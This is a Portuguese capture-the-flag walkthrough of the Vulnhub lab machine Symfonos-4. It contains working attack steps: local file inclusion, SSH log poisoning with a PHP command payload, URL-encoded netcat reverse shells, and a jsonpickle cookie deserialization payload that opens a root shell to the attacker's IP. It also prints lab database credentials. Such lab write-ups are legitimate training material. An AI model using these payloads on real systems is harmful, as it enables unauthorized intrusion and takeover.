Vulnhub - Symfonos-4

Link da Maquina: https://www.vulnhub.com/entry/symfonos-4,347/

Scan/Enumeracao

Host Discovery

• Com o nmap e o parametro “-sn” vamos fazer um scan para mapear os hosts ativos na rede sem escanear as portas

sudo nmap -n -sn -T5 192.168.150.0/24

Port Discovery

• Descobrindo as portas abertas na maquina alvo. Com o parametro “-p-“ estamos escaneando todas as portas possiveis

sudo nmap -n -T5 -p- 192.168.150.109

Port Scan

• Com as informacoes coletadas no passo anterior vamos escanear as portas abertas com o objetivo de descobrir quais sao os servicos e seus suas respectivas versoes

sudo nmap -n -T5 -A -p 22,80 192.168.150.109

Porta 22: OpenSSH 7.9p1 Debian 10 (protocol 2.0)

Porta 80: Apache httpd 2.4.38 ((Debian))

Exploracao

Web

• Acessando a pagina principal da aplicacao, nao temos nada de importante, somente uma imagem. Nao tem nada no codigo fonte

Fuzzy de diretorios

• Executamos o gobuster com a wordlist /usr/share/wordlists/dirb/big.txt. Encontramos os arquivos sea.php e atlantis.php

gobuster dir -u http://192.168.150.109 -w /usr/share/wordlists/dirb/big.txt 

• Nao podemos desistir tao facil do fuzzy. Por isso vamos utilizar outra wordlist para ver o que vai dar

gobuster dir -u http://192.168.150.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

Com essa wordlist e procurando por aquivos .php achamos um diretorio novo, /gods

Nikto

• Paralelo ao fuzzy de diretorios executamos o Nikto na tentativa de encontrar alguma vulneravilidade

nikto -h http://192.168.150.109/

O nikto tambem achou o arquivo atlantis.php

/gods

• Entrando no diretorio /gods exitem 03 arquivos com nomes de deuses da mitologia grega. O conteudo deles e um breve resumo das historias dos deuses.

sea.php e atlantis.php

• Ao tentar acessar o arquivo sea.php ele redireciona, automaticamente, para o atlantis.php, que e uma pagina de login

Rodei o SQLMap e nao retornou nada

Monitorei o trafego com o burp, porem nao obtive nenhum resultado

Tentei Bypassar a autenticacao e nao retornou nada

• Depois de muito tempo, foi verificado que quando tentamos logar na aplicacao, mesmo se sucesso, conseguimos acesso a pagina sea.php

Na caixa de selecao podemos selecionar um dos tre deuses gregos dos arquivos que encontramos no diretorio /gods.

• Ao selecionar algum dos deuses na caixa de selecao, pode-se verificar que ele chama o arquivo atreaves da variavel file

• Sabendo que ele chama o arquivo que esta em um diretorio da maquina, vamos tentar acesssar outro arquivo da maquina atraves de um path transversal

Nao conseguimos acessar o /etc/passwd, /etc/issue…

• Utilizando o wfuzz vamos tentar achar algum arquivo que podemos acessar com o path transversal

wfuzz -c --hw 39 -b PHPSESSID=qam1dcn4sud2e3rhmbv6bbve6r -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://192.168.150.109/sea.php?file=../../../../../../../../../../FUZZ

-c : Saida colorida

–hw 39 : Excluir as opcoes que tem como saida em um dos campos o 39

Utilizamos o cookie da sessao criada quando realizamos a tentativa de login, que nos permitiu acessar o sea.php

Utilizamos uma wordlist do projeto SecLists, que pode ser baixado no endereco https://github.com/danielmiessler/SecLists. Essa wordlist e especifica para fuzzy de LFI

• Acessando o arquivo que temos permissao

http://192.168.150.109/sea.php?file=../../../../../../../../../../var/log/auth

SSH Log Poison

• Como temos acesso ao arquivo que armazena os logs dos registros de autenticacao do sistema. Podemos inluir um codigo php dentor do comando ssh, o codigo por sua vez ficara armazenado no arquivo de log e sera executado pelo php, nos dando a possibilidade de um RCE.

ssh '<?php system($_GET['cmd']); ?>'@192.168.150.109

• Agora com o log de autenticacao envenenado conseguimos executar comando remotamente via url

http://192.168.150.109/sea.php?file=.../../../../../../../var/log/auth&cmd=whoami

Ta dificil de compreender a saida do comando, porem analisando o log antes do comando e depois do comando vimos que apareceu o www-data. Ou seja, conseguimos tirar a prova real que temos um RCE

RBSCHEAT - Comandos para shell reverso

• Clonamos o repositorio do rbscheat no github para a nossa maquina e instalamos (make install)

rbscheat -i 192.168.150.110:443 -l nc

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f

/bin/sh -i 2>&1

nc 192.168.150.110 443 >/tmp/f

Burp Suite - Encodando para URL

• Para enviar o comando via URL sem ter problemas com a sintaxe, vamos encodar o comando para URL.

Shell Reverso - “www-data”

• Para conseguir o shell reverso e so deixar a porta escutando na kali e enviar o comando encodado via URL

http://192.168.150.109/sea.php?file=.../../../../../../../var/log/auth&cmd=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%39%32%2e%31%36%38%2e%31%35%30%2e%31%31%30%20%34%34%33%20%3e%2f%74%6d%70%2f%66

Temos Shell Reverso do usuario www-data

• Melhorando o shell

python -c 'import pty; pty.spawn("/bin/bash")'

Escalacao de privilegio - www-data -> root

• Ao listar os arquivos do diretorio em que estamos, /var/www/html, vemos os arquivos da pagina web. Lendo o arquivos atlantis.php* vemos que ele tem no codigo as credenciais para acessar o banco de dados da aplicacao.

root:yVzyRGw3cG2Uyt2r

Explorando MySQL

• Vamos entrar no mysql, utilizando as credenciais encontradas

mysql -uroot -p

• Temos o banco db no mysql, que por sua vrz tem a tabela users

show databases;
use db;
show tables;

• Verificando a tabela users temos duas colunas: username e pwd. O conteudo da tabela parece que e um nome de usuario “admin” e algo que parece um hash

select * from users;

admin:b674f184cd52edabf2c38c0142452c0af7e21f71e857cebb856e3ad7714b99f2

Arquivos vulneraveis

• Procurando por arquivos que possam nos ajudar a escalar privilegio encontramos o diretorio /opt que possui uma data de modificacao diferente

find / -regextype posix-extended -regex "/(sys|srv|proc|dev|usr|boot|var|etc|run|root)" -prune -o -type d -newermt 2019-08-18 ! -newermt 2019-08-19 -ls

• Dentro do diretorio /opt temos o /code, o qual contem alguns arquivos e diretorios interessantes

Analisando os processos que estao sendo executados

• Baixamos na kali o pspy32, pois a arquitetura do alvo e de 32 bits (uname -a ou arch), e enviamos para o alvo

Na Kali

sudo python3 -m http.server 80

No alvo

wget 192.168.150.110/pspy32

• Ao executar o PSPY podemos verificar que esta sendo executado algo com o python e interagindo com a porta 8080 da maquina.

• Poderiamos verificar de outra forma os processos. Mas para confirmar a informacao anterior

ps -aux

• Podemos verificar se a porta 8080 esta realmente aberta

ss -nlt

Tunelamento local porta 8080 - SOCAT

• A porta 8080 esta filtrada para acessarmos ela por fora. Entao vamos fazer um tunelamento para outra porta, para podermos acessar o servico da kali

socat TCP-LISTEN:8888,fork TCP:127.0.0.1:8080

Primeiro verificamos se tinhamos o socat disponivel na maquina alvo

Web 2

• Acessando a pagina na porta que abrimos no alvo

O que mais chama atencao nessa pagina e que ela foi direcionada para o /whoami

• Para verificar melhor o que esta acontecendo vamos utilizar o burp suite

O que mais chama atencao nessa captura e o cookie que encontramos

username=eyJweS9vYmplY3QiOiAiYXBwLlVzZXIiLCAidXNlcm5hbWUiOiAiUG9zZWlkb24ifQ==

• Parece que o valor do cookie “username” e algo que esta codificado em base64. Entao vamos decodificar

{“py/object”: “app.User”, “username”: “Poseidon”}

• Voltando para o alvo, vamos ver o que tem no codigo desse arquivo app.py

Resumindo… podemos notar que ele importa o flask

Pesquisando por vulnerabilidades sobre o flask encontramos o seguinte artigo

Explorando Flask

• De acordo com o artigo que achamos, vamos alterar o cookie da sessao no burp suite, adicionando um codigo para nos enviar um shell reverso

• Aqui temos o cookie original, depois de ter sido decodificado em base64

{"py/object": "app.User", "username": "Poseidon"}

• Agora vamos alterar o cookie inserindo o nosso payload

{"py/object": "rev.Shell", "py/reduce": [{"py/type": "os.system"}, {"py/tuple": ["/usr/bin/nc -e /bin/bash 192.168.150.110 4444"]}, null, null, null]}

• Antes de enviar temos que codificar em base64 o nosso payload

eyJweS9vYmplY3QiOiAicmV2LlNoZWxsIiwgInB5L3JlZHVjZSI6IFt7InB5L3R5cGUiOiAib3Muc3lzdGVtIn0sIHsicHkvdHVwbGUiOiBbIi91c3IvYmluL25jIC1lIC9iaW4vYmFzaCAxOTIuMTY4LjE1MC4xMTAgNDQ0NCJdfSwgbnVsbCwgbnVsbCwgbnVsbF19

• Agora e so mandar via burp suite para virarmos root. Nao esqueca de deixar a porta escutando na kali

Para enviar basta clicar em “Forward”

• Pronto, agora somos ROOT!

• Conseguimos pegar a flag!